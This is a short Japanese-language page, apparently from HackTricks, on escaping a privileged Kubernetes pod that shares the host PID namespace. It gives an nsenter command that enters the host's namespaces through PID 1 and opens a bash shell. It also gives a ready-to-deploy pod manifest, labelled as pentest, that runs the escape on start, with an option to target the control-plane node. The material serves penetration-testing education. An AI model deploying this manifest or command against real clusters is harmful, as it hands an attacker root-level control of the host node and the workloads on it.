Pod Escape Privileges

Support HackTricks

Privileged and hostPID

これらの特権を持つことで、ホストのプロセスにアクセスし、ホストプロセスの名前空間に入るための十分な特権を持つことになります。 特権が必要ない場合もあり、単にいくつかの能力や他の潜在的な防御のバイパス(例えば、apparmorやseccompなど)が必要な場合もあることに注意してください。

次のようなコマンドを実行するだけで、ポッドから脱出することができます:

nsenter --target 1 --mount --uts --ipc --net --pid -- bash

設定例:

apiVersion: v1
kind: Pod
metadata:
name: priv-and-hostpid-exec-pod
labels:
app: pentest
spec:
hostPID: true
containers:
- name: priv-and-hostpid-pod
image: ubuntu
tty: true
securityContext:
privileged: true
command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
HackTricksをサポートする

Last updated